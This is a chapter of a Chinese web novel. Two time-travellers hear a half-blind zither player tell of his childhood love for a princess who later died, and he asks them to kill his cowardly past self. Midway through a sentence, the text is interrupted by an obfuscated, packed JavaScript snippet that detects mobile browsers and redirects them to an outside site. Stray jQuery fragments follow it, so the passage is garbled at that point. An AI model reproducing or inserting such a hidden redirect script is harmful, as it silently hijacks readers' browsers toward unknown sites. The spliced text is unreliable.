清风扭着身子探过留香居的窗棂，散出几缕向屋内溜去，带来一丝凉气。


    睁眼后，萧霖和穆宥再度回到了天陵城里的那所留襄居中。


    不知是由于芜县离天陵的距离，相较于云翀的距离远了不少还是其他，这回的天旋地转比以往都要猛烈。


    萧霖刚落地，当即控制不住胃里翻涌，径直吐了出来。


    好在此时几人身处内院，不然叫前堂的茶客们瞧见，怕是会坏了名声。


    穆宥站在萧霖身侧，帮她捋了许久的气，才让她缓和些许。


    既然萧霖说不来话，穆宥就率先替她开了口：“楚老板，这次故事是怎样的？”


    按例，楚陌悠悠启齿：“原故事之终章，公主琴师，琴断情裂，凄婉非常。琴师性情怯懦，畏爱如虎，避情不追；公主孤影天涯，异乡漂泊，屈辱折磨。终究，红颜薄命，含冤而逝，郁郁黄泉路……”


    “汝等之使命，乃牵线搭桥，令有情人终成眷属，助殿下脱离苦海深渊。切记，尚有茶羹之礼，此番需二人共饮，方得圆满。”


    其实于穆宥而言，每回楚陌说出这段矫揉造作的开幕时，他都要费好些心力才能读懂，更多的时候还是靠萧霖后期替他解释。


    如今，萧霖吐得毫无精力，就只能靠他一人做阅读理解了。


    “懦弱琴师，和亲公主，有情人终成眷属，两个人都要有茶羹……”穆宥竭力回忆楚陌的话，只留下这几个零碎的关键词。


    此时，萧霖也吐得差不多了，稍微缓过了点神。


    “楚老板，您说过，这次的主人公是本朝公主，那我们要怎么才能接近她啊？”萧霖擦了擦嘴角的唾沫，艰难直起腰来，语气虚弱。


    看来，上回万勉的故事给她打击不小，变得如此谨慎了。


    不过也好，问得细些，成功的机率便大些。


    于是楚陌拱起笑眼，故弄玄虚地来了句：“别急，马上就到。”


    不明所以的萧霖和穆宥面面相觑，杵在原地。


    此刻，也不知楚陌从何处掏出两块麦芽糖来，分别递给了萧霖和穆宥：“吃完后，就去前堂帮忙吧。”


    自与楚陌结识以来，萧霖总觉着他是个古怪得不能再古怪的人。


    每每问及他的来路，他都避之不谈，而且他给他们的册子里，明明没有什么细节，他却清楚一切脉络。


    难不成，他亲身经历过？


    萧霖一边将麦芽糖扔进口中，一边又对远去的楚陌投去好奇的目光。


    罢了，之后总有机会把事情搞清楚，如今要事，还得是和本故事的主角搭上关系。


    与常日无异，留襄居的茶客仍络绎不绝。


    匆匆赶来前堂的萧霖和穆宥光是收拾茶桌都显得忙乱，更别说是此间此起彼伏的结账吆喝声，更让两人气喘汗流。


    在嘈杂之中，一位左眼蒙着白布的行客叩响了门扉。


    “请问楚老板在否？”


    那人声音柔和动听，笑貌也彬彬有礼，穆宥即刻迎了上去。


    当穆宥仔细端详眼前这人之时，他才惊觉他身后背着一把硕大的古琴。


    纵然心有疑虑，他仍继续询问道：“公子你找楚老板做何事？”


    “我有事相询。”那人和善地回复道。


    “楚老板人在后堂，您随我来吧。”边说着，穆宥边熟练地将抹布搭在肩上，掸了掸身上的尘土，领着那人来到了楚陌跟前。


    楚陌此时还捧着本古书细细品读，见那人来了便将书册好生合上，理了理衣冠正坐在他面前。


    只见那人朝楚陌鞠了一躬，继而缓缓卸下身上的古琴摆在前方。


    这时，穆宥才发觉，这把琴，没有琴弦。


    “楚老板，我已经按您的意思……”


    那人话未说完就被楚陌挥袖打断，他转头便对穆宥说道：“去，把萧霖一并叫来，手里的活儿让其他人做了。”


    穆宥虽嘴里嘟囔着什么，却还是听话地照做，不一会儿就将还在前堂做事的萧霖拉了过来。


    “你们不是想见他吗？”楚陌伸了伸手，指向眼前那人，“这不在这儿吗？”


    不仅是萧霖与穆宥，那人也对楚陌突如其来的话语感到诧异。


    值此，萧霖和穆宥赶忙趁隙仔细打量了一番眼前这人——不对啊，不是说这回是公主与琴师的故事吗？这人看起来分明都瞎了一只眼，如何弹得了琴？


    “你们二位……找我？”那人也不明所以，率先发问。


    萧霖穆宥一时不知如何作答，只得悻悻看向楚陌。


    楚陌抿了口清茶，随即胡诌道：“他二位乃天上仙童，可化解世间困厄，亦能逆流岁月之河，助君修往昔之谬，弥补心之遗恨，不试试？”


    什么虚头八脑的玩意儿，萧霖和穆宥听了都觉得莫名其妙。


    谁知，那人听后，轻笑一声，轻言道：“我明白了……”


    说着，那人背起双手，笑意盈盈地向萧霖与穆宥问道：“二位可愿听小生讲个有些繁杂的故事？关于一位伟大的公主和她的……至交的故事。”


    事已至此，虽心存疑虑，萧霖还是默默地点了脑袋。


    随后，那人启齿，对他的故事娓娓道来——


    相传，宫中四公主李持音虽年纪尚幼，却深受皇太后喜爱，自小热衷琴曲。


    凡是进宫的大臣，若是想讨她欢心，必会举荐一乐师，李持音听得欣喜，皇太后便也欣喜，金银赏赐也是不少的。


    于是乎，此举已成百官人尽皆知的博利之行了。


    恰逢皇太后寿辰，宫中忙里忙外。


    听闻皇太后欲请乐队来热闹场面，可纵使宫内有优伶，此番她却想听民间风味。


    因此，此次寿宴，她下令去宫外寻一称心乐队进宫演奏。


    李持音时年九岁，正值玩乐年纪，日日被困于宫墙内，她无时不想一览墙外市井民生。


    世人皆道其好音如痴，却不曾想，她更愿听的，是在曲罢之后，那些乐师同她讲的闲谈杂话，只言片语亦是她乏味一生中，难得的欢愉。


    皇太后的寿宴自是盛大，百僚齐聚一堂，礼部好生筹办，金银器皿一一齐陈于桌，富丽堂皇，加之烛火绚烂，场面好生热闹。


    碍于寿宴的缘故，李持音戴上了许多沉重的首饰。


    这些饰物对她一九岁孩童而言属实是负担。


    在侍女忙碌啰嗦下，李持音老实坐在镜前良久，待最后一支簪花插上她的发髻，她才站起身来。


    四处张望一番，发觉身旁行色匆匆的宫女们，李持音微微撇了撇嘴，提起裙摆蹑手蹑脚地溜出了寝宫。


    好在宫中树木繁多，身形小巧的李持音顺利避过了路上嬷嬷公公的目光，偷偷踏入了后花园中。


    当她刚要抛下礼仪，学着市井大汉一屁股坐在草地上时，耳朵却忽地捕捉到了一阵音律。


    她扭着身子偷望去，猛然窥见一行人，正巧站在后花园奏着乐曲。


    李持音将身子再探出去些，揉了揉眼睛，扫视了那群人一番，却惊喜地发现一个与其他人格格不入的身影——


    在一行高大非凡的人群中，那个瘦小的孩童抚着一把不搭调的檀琴。


    不够长的臂膀让他的动作显得更匆忙些，但好在不影响整体音律，曲子亦然悠扬而动听。


    瞧着出了神，李持音在乐队停下奏乐后才反应过来，吸引她的不仅是那动人的乐曲，更是那位比她年长不了几分的男孩。


    她不明白，这样小的孩子为何不在娘亲怀中撒娇，反而跟着乐队来到皇宫反复练习？


    或许，他是诚心喜爱乐律吧！李持音是这般想的。


    晌午，太后寿宴正式开始，文武百官纷纷入朝祝贺，寿礼琳琅满目，各式珍奇让人一饱眼福。


    备受宠爱的李持音被安排与太后同坐，一声声赞美溢词丝毫惹不起她的心思，现今的她，满心都是方才后花园中见到的乐师们，尤是那男童。


    待大臣们纷纷献上寿礼，寿宴也在太后的挥袖中进入高潮，乐师、舞女入殿，皇上与臣子同饮美酒，觥筹交错，鼓乐齐鸣。


    可李持音的目光，却紧紧汇聚在那个抚琴的男童身上。


    她对他充满了好奇，她疑惑着，究竟是怎样的乐律天赋，才让他这般大小的孩子弹拨出这样美妙的曲子？


    愈想愈出神，想得她迟迟未动筷，让眼前珍馐失了宠。


    寿宴持续了许久，李持音好不容易才遇着机会打听一番。


    “皇奶奶，持音喜爱这乐师奏的曲子，能再将他们留在宫中一会儿吗？”李持音握住太后的肘弯左右摆动撒娇。


    太后万分疼爱她，自不会拒绝。


    她眯着眼回复道：“持音要是喜欢，自是可留下些许的，不过人家也要谋生计，量在宫中不便待太久，这样吧，哀家赐些银两给他们，让他们再为你奏上几曲可好？”


    话罢，太后便招手，让身旁伺候的公公递上些许灿灿白银，端至领头乐师跟前，轻声交涉几番后，乐师们再度拉开阵型弄起了乐器。


    动听的调子再度在耳畔响起，李持音目不转睛地盯着男孩。


    可在乐曲的安抚下，她渐渐合上了双目，眼前骤然浮现出高山流水之景，她便舒心地陶醉在这山明水秀、水木明瑟之态中。


    为李持音再奏几曲后，太后才允其退下。


    李持音却忙慌地跟上前去，在殿门处，叫住了走在队伍最后的男童。


    一行人在公公的指引下向她行礼，她反不在乎，径直拉住男童袖口，转身对公公道：“王公公，你先带其他人离宫吧！本公主想同他聊聊音律。”


    王公公也是事理人，俯身行礼后，再领着其余乐师离去。


    男童并不知晓李持音的目的，反之心生惧怕，将怀中的檀琴抱得更紧了些。


    他眼神慌张，不知落脚何处：“公……公主需要臣做什么……”


    李持音匆忙摇了摇脑袋，满脸笑意：“本公主想问一下你的名字。”


    “臣……”男童不禁瞄了几眼李持音，继而磕巴答道，“臣名唤姜敔……”


    “年纪呢？”


    “正值幼学之年。”


    李持音转了转眸子，继续追问：“那你为何跟着那些乐师？”


    “臣自幼丧母丧父，是师父他们收留了臣，臣不甚感激，可求生之道难，师父不能白养臣一生，臣须得为他们尽份力气，故早早拿琴四处游历了。”


    获此回复，李持音刹时顿住，思索片刻，她又问道：“本公主独钟你们一行人的曲子，你们近些时日可有其他安排？”


    “回公主，臣需问问师父，臣本人不知……”


    “不必问了，你们近些时日就到宫中住下，本公主叫人帮你们安排住处，今后每日，本公主都要听你等奏乐，事务本公主会安排下去，你回去跟你师父讲明情况便可。”


    说罢，给姜敔反应的时间都不留，李持音转身就走。


    此时，姜敔心中既欣喜又怅然。


    他被这公主突如其来的下令乱了阵脚，却又不得不承认这未尝是个好时机，若是借着皇室打响乐队名声，他们往后的日子也能过得容易些。


    跟着宫女出宫后，姜敔背着沉重的檀琴，扭着身子穿过熙攘的人群。


    乐队的定脚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15393541|164571||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    所距皇宫还是有些距离的，就这么斜着身子向着前方走去，姜敔的步伐十分稳重。


    途径菜摊时，他甚至从怀中掏出铜钱买了几样蔬果，若不是未带菜篮须得手捧，他会顺道多带些回去。


    一手啃着苹果，一手抱着剩余的蔬果，姜敔走了良久才走到一间杂院中。


    “师父，我顺道买了些吃的，明日我来炒个菜给大伙儿吃如何？”姜敔边往衣服上擦着沾满汁水的手，边冲他师父说到。


    “明日不是要进宫吗？若是回来得早你便做吧！若是在宫里耽误了些那我们大伙儿索性就到外头吃些好了。”师父笑盈盈地回复姜敔，转手接过他背上的檀琴。


    “你们已经知道了？”


    “是啊，宫里已经差人过来一趟了。”


    姜敔还在惊叹着宫里的效率之时，师父早已走到他跟前，伸出大手抚上了他的脑袋，和善地说道：“听宫里来传信的公公的说，念音公主瞧上了你的琴艺？”


    此话一出，姜敔立马慌了神，连连否认：“不不不，公主只是叫我通知师父您去宫中为她奏曲罢了，并未瞧上我的琴艺。”


    师父见状笑而不语，但这番打趣却勾起了他的回忆。


    他看着眼前已有些许成熟的姜敔，缓缓启齿：“想当初我头一次遇着你的时候，你才这么点大……”


    说着师父拿出手来在姜敔腰前比划了几下，继续说道：“那时我看见你一个这么点大的孩子跪在路边行乞，脸上脏兮兮的，我给了你几个钱币你就连连道谢……”


    “后来我便蹲下来问你，你跟我说你父亲上山捡柴火的时候被野兽咬死，母亲也在不久前染病离世，家中只剩你一人，我瞧你可怜，正巧乐队需要一个打杂的伙计，我便把你留在身边。”


    这个故事姜敔听过好些遍了，但他依旧不厌其烦地听着师父讲他们的过往。


    “你小子也机灵，干活利索得很，我们都很是喜欢你，后来段风突然说要回乡找孩子媳妇不干这行了，我正愁寻不到替补琴师时你倒好，自个儿站出来毛遂自荐，别说段风，我们都很吃惊！”


    “哎，也是好不容易软磨硬泡才让段风教你琴技，初学那段时日里，我们都瞧出他刻意把气撒到你身上，平日里让你干活，夜里还要你拼命练琴，你脾气也是好的，竟都忍了下来。”


    “不过你这小子还真不令人失望，学了那小段时日竟弹得有声有色了！到今日也可独当一面了哈哈哈！”


    师父说得轻松，可只有姜敔自身才知晓这些年他谈何容易——


    走投无路、寄人篱下的他只能拼命干活，生怕自己干少了，或是活儿没干好被抛弃，这样他连活下去的希望都会被磨灭。


    好在他有些弹琴的天赋，加之过人的努力，他才习得这手艺，如此这般，即使被扫地出门，也有一手技艺能为自己谋一份生计。


    之后有些时日，姜敔都随着乐队进宫为李持音演奏，李持音听得高兴便会大赏。


    也许是同龄人的心心相惜，又或是同志趣之人的相互吸引，姜敔发觉李持音一日日地在同他亲近，他也不再躲避，于某日敞开心扉同其聊起了趣事。


    身为公主，李持音自幼便被养在宠爱之中，她的眸子清澈灵动，面容圆润娇好，一言一行都充裕着姜敔渴求的希望。


    她于他而言，是蒙上一层薄云却依旧皎洁的月亮。


    不似骄躁的太阳，月高悬于空，洒下柔和的银白，朦胧迷离却又致命蛊惑。


    他被她吸引、打动，却每每在离宫后的夜里，克制自己恣意生长的爱意。


    他不停地否定自己，企图打消那份暗长的图谋。


    渐渐地，他在无形中否定了整个自己，否定了自己的整个将来。


    他甘居人下一辈子，默默享受与李持音在一起的每分时光。


    就这般，八年时光匆匆而逝，纵使姜敔时常会跟着师父去别处演出，也依然会在回京的第一时间去见李持音。


    与曾经相异，姜敔的体型在八年里变得修长，再也不似当年拨弦时的匆忙之态，取而代之的时优雅至极的端庄。


    同他一样，李持音也长成了亭亭玉立的女子，举手投足都大方得体。


    而两人唯一不变的，是约定的琴曲。


    他奏着，她听着，共同享受片刻的纵欲，享受片刻的安宁。


    姜敔不曾知晓的是，在他低头抚琴之时，李持音投来的同样的炽热目光。


    她明白二人身份之悬殊，她明白二人之间不可跨越的鸿沟。


    但她克制不住自己的情动，她也清楚自己身为公主的命运，只能在还未出嫁的年纪，将眼前这人的模样刻在脑里、心里。


    身为公主，她一出生即是政治的附庸。


    明明相对坐着，却心隔银河。


    那份难以宣之于口的暗涌之情，被双双私藏……


    “你就是姜敔吧？”在那半盲琴师将故事讲到一半后，穆宥大胆发问，“所以最后你俩怎么样了？”


    姜敔先僵了片刻，随后轻哼一声，神色黯然：“持音……哦不，公主她，她自尽而亡……”


    “她为什么自尽啊？”


    “我不知……”


    “那你为什么会变成现在这样？”


    “为了救她。”


    姜敔的话越听越糊涂，穆宥不禁嘟起了嘴。


    萧霖站在一旁，绕开穆宥，直击痛点：“您想要我们帮您做什么吗？”


    她的话语清脆利落，宛若救世之音。


    此后，姜敔略微抬头，眼睫颤动，探入萧霖眼底：“请二位回到我的过去，找到那个卑怯的我，然后，替我杀了他……”